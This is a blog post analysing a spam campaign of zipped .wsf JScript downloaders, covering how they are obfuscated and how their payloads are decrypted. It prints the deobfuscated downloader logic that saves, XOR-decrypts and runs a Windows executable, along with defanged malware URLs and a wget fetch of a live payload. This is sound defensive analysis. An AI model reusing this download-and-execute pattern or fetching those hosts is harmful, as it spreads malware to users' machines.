0/ Intro
Between the 13 and 16 of july, I've received of lot of spams, all based
on the same, now classical, pattern. A mail body with wording like:
"
How is it going?
Please find attached document you asked for and the latest payments report
Hope that helps. Drop me a line if there is anything else you want to know"
or
"
Please find the reference letter I attached."
and a zip file attached containing one file ending in .wsf
mitsurugi@dojo:~/chall/infected/zipped_wsf$ unzip -l 4F6B513_mitsu.zip
Archive: 4F6B513_mitsu.zip
Length Date Time Name
--------- ---------- ----- ----
29295 2016-07-15 11:09 spreadsheet_87a4..wsf
--------- -------
29295 1 file
mitsurugi@dojo:~/chall/infected/zipped_wsf$ unzip -l mitsu_97027.zip
Archive: mitsu_97027.zip
Length Date Time Name
--------- ---------- ----- ----
28380 2016-07-15 11:17 spreadsheet_7ff..wsf
--------- -------
28380 1 file
mitsurugi@dojo:~/chall/infected/zipped_wsf$ unzip -l mitsu_forward_758093.zip
Archive: mitsu_forward_758093.zip
Length Date Time Name
--------- ---------- ----- ----
71060 2016-07-14 11:19 spreadsheet_17f5..wsf
--------- -------
71060 1 file
mitsurugi@dojo:~/chall/infected/zipped_wsf$
1/ stage 1 - unzip and get the script
All of the .wsf I saw looks more or less the same:
We have a job declaration, then a very long var (I snipped it for brievety, the line is more than 28000 chars long). This var is just a concatenation of all strings, and in the end, it's reversed.
In order to analyze it, you can copy/paste this var in a python file, and just reverse it:
#! /usr/bin/python
aFusa0arM = ';}\n\r;)('+']fJU (... snipped +28000 chars for brievety ...)
Fo'+'Tev" = '+'jXO rav'+'\n\r;"" +'+' "eli" '+'= tI ra'+'v\n\r;"" '+'+ "esol'+'c" = 0q'+'O rav';
print aFusa0arM[::-1]
2/ stage 2 - unobfuscate the javascript
The javascript file is 700 lines long. A quick glance at it reveals the obfuscation.
2/1/ Obfuscation : use of variables
The code relies heavily of variables.There is a lot of affectation:
var VYd = "ct" + "";
var ZMv = "je" + "";
var UJd = "teOb" + "";
var AYe0 = "ea" + "";
var Co7 = "Cr" + "";
Then, later on:
var IUh=WScript[Co7 + AYe0 + UJd + ZMv + VYd]
2/2/ Obfuscation : use of useless functions - 1
We see also a lot of useless function which produce in output the input given:
function Xr1(WDv){return WDv;};
function Wu6(Jw3){return Jw3;};
And then, it's use:
IUh[OEc2 + ZBb4](Yr2[Yc8 + USr + Wu6(En) + Gt2]);
Still, it's just basic obfuscation
2/3/ Obfuscation : use of useless functions - 2
There is another use of useless function. They are called only once, and produce a fixed output. We can find them from time to time:
var SWh3=[Ww + NBp4 + (function BEs0(){return Xk6;}()) + IHx1 + QMa + CAi2, JRu9(QVt0) + Ir4 + MIs + XKm + Vo];
The SWh3 var can be simplified like:
var SWh3=[Ww + NBp4 + Xk6 + IHx1 + QMa + CAi2, QVt0 + Ir4 + MIs + XKm + Vo];
2/4/ Unobfuscate
That's not really hard. Load all vars, then replace them in expression, remove all useless functions, and calculate the strings.
3/ part 2 - unobfuscation
Once the vars renamed, we can see the big picture of the file:
3/1/ vars declaration
The file begins with almost 700 lines of var declaration.
But only one line is really interesting:
var VVq=[Jj+Qo5 + ZKy+(function PGr3(){return STa5;}())+ASs2 +
(function ICe1(){return XOl;}())+Aq5+MDs6 + Ty9+GZq + Pe+Pa1 +
Mp4+Xr1(Rq8)+(function WXz(){return Xw5;}()),
(function Ni8(){return Jj;}())+Eb+Lp0+Zv+Gu+RSq + JXa+Jv+Ne+
Wp + Yg+Ov + Kz1+RZl8+BBv + COk+IYz, Qe+Kg7+Em+Uc +
(function Ci(){return KKd1;}())+(function PJm6(){return Iq0;}())+
FWe(MAp7)+Uq3+Xv1 + Mf + DOo6+Nm(TEz5)+Ex5];
Which can be read as:
var VVq=[element1, element2, element3]
this declares a table of three elements. After search and replace vars, we can read:
http://callatisinstitut[.]fr/fytdty8o
http://www.guapaweb[.]jazztel.es/o54b6
http://exclusive-closet[.]com/wqcs8fk
3/2/ a PRNG
function uheprng()
function rawprng()
function Mash()
If you google this, you can find that's a random number generator. It will be used later.
3/3/ The juicy part (vars unobfuscated)
var IUh=WScript[CreateObject](ADODB.Stream);
IUh[open]();
IUh[type]=2;
IUh[write](Yr2[ResponseBody]);
IUh[position]=0;
IUh[SaveToFile](DJt9, Kn5);
IUh[close]();
var GHq4=Nh(DJt9); // Ok
GHq4=Zy(GHq4); // This function is important
if (GHq4[length] < 100 * 1024 || GHq4[length] > 230 * 1024 || !ZZr(GHq4))
{
ORj1=1;
continue;
}
try
{
STn /* H */(Vh9, GHq4); // it renames the file with .exe
}
catch (e) {break;};
Sn[Run](Vh9 + " 321"); //It runs the exe file with 321 as argument
break;
3/4/ the Zy function
the Zy() function is interesting:
function Zy(WPx8)
{
var NKh;
var Je = uheprng();
for (var KFh4=0; KFh4 < WPx8[length]; KFh4++)
{
WPx8[KFh4] ^= Je(256);
}
(other stuff...)
We can see that it XOR all bytes with the prng initialized to the value 256.
3/5/ The NH() and STn /* H */() functions
Those functions looks more or less the same. It opens a file, then do byte translations if charCode > 128.
Maybe I'm missing something, but we don't need that to unobfuscate the exe file.
4/ Decrypt exe file
We have the download URLs, a wget is enough to get the file.
The hard part is to generate all the pseudo random numbers. I choose the easy way: Copy paste the PRNG function in a js file, then generate enough pseudo random numbers to use them later:
function uheprng() {return (function() {
var o = 48, c = 1, p = o, s = new Array(o);
var i,j;
var base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var mash = Mash();
for (i = 5806 - 5806; i < o; i++) s[i] = mash(0.598538);
mash = null;
var random = function( range ) {
return Math.floor(range * (rawprng() + (rawprng() * 0x200000 | 0) * 1.1102230246251565e-16));
}
function rawprng() {
if (++p >= o) p = 0;
var t = (482628 * 3 + 320979) * s[p] + c * 2.3283064365386963e-10;
return s[p] = t - (c = t | 0);
}return random;}());};
function Mash() {
var n = 0xefc8249d;
var mash = function(data) {
if ( data ) {
data = data.toString();
for (var i = 0; i < data.length; i++) {
n += data.charCodeAt(i);
var h = 0.02519603282416938 * n;
n = h >>> 0;
h -= n;
h *= n;
n = h >>> 0;
h -= n;
n += h * 0x100000000;
}
return (n >>> (1 * 0)) * 2.3283064365386963e-10;
} else n = 0xefc8249d;
};
return mash;
}
var Je = uheprng()
for (var i=0; i<200000; i++){
print(Je(256)); }
and we can save all those numbers in a file:
mitsurugi@dojo:~/chall/infected/zipped_wsf$ js24 UHE_prng.js > prng_js
mitsurugi@dojo:~/chall/infected/zipped_wsf$
Then a wget and an easy python script will get you the exe file:
f=open("mal_file","ro")
data=f.read()
f.close()
f=open("prng_js","ro")
p=f.readlines()
f.close()
prng=[]
for i in p:
prng.append(int(i.strip()))
out=[]
for i in range(len(data)):
o=ord(data[i])^prng[i]
out.append(chr(o))
out=''.join(out)
output=open("data","wb")
output.write(out)
output.close()
and we get:
mitsurugi@dojo:~/chall/infected/zipped_wsf$ ./unxor.py 8f72pw
mitsurugi@dojo:~/chall/infected/zipped_wsf$ file data
data: PE32 executable (GUI) Intel 80386, for MS Windows
mitsurugi@dojo:~/chall/infected/zipped_wsf$
Now, we need somebody brave enough to launch it with 321 as an argument
5/ Automatize all the things
I wrote two python scripts. The first one extracts URLs from the zip file. The second one unxor the file. This is quick&dirty scripts and "It works for me" (tm)
Usage:
mitsurugi@dojo:~/chall/infected/zipped_wsf$ ./analyze.py 4F6B513_mitsu.zip
Extracting zip
[+] Ok zip contains one file ending in .wsf
Get obfusctated js
[+] Assigning a long var, seems good
[+] We have to reverse the string
Parsing obfuscated and getting URLs
[+] printing download URLs
http://mana114[.]takara-bune.net/iqfywp
http://sichenia[.]omniadvert.it/7xxsn8
http://callatisinstitut[.]fr/fytdty8o
mitsurugi@dojo:~/chall/infected/zipped_wsf$ wget -q http://mana114[.]takara-bune.net/iqfywp
mitsurugi@dojo:~/chall/infected/zipped_wsf$ ./unxor.py iqfywp
mitsurugi@dojo:~/chall/infected/zipped_wsf$ file data
data: PE32 executable (GUI) Intel 80386, for MS Windows
mitsurugi@dojo:~/chall/infected/zipped_wsf$
Warning:
- The python file does an eval() for concatenating all vars. It's considered dangerous. Use at your own risk.
- Some zip file are not exactly the same and my parser doesn't handle those. The logic behind is the same, but you will have to do analysis by hand. For what I saw, it's the same logic: unxor a file with a PRNG
- Be aware that those scripts relies on a very small subset of zipfile and relies on a lot of assumptions.
- Be aware that I'm using the PRNG with 256 as a fixed value. If its change, the unxor won't work.
- If you have some sample which doesn't work, I can take a look.
Here is the link to the github repo:
https://github.com/0xmitsurugi/Analyzing-zip-file-with-.wsf-file-inside
0xMitsurugi
Our greatest glory is not in never falling, but in rising every time we fall!
You are not judged by the way you fall.
You are judged by the way you get up after.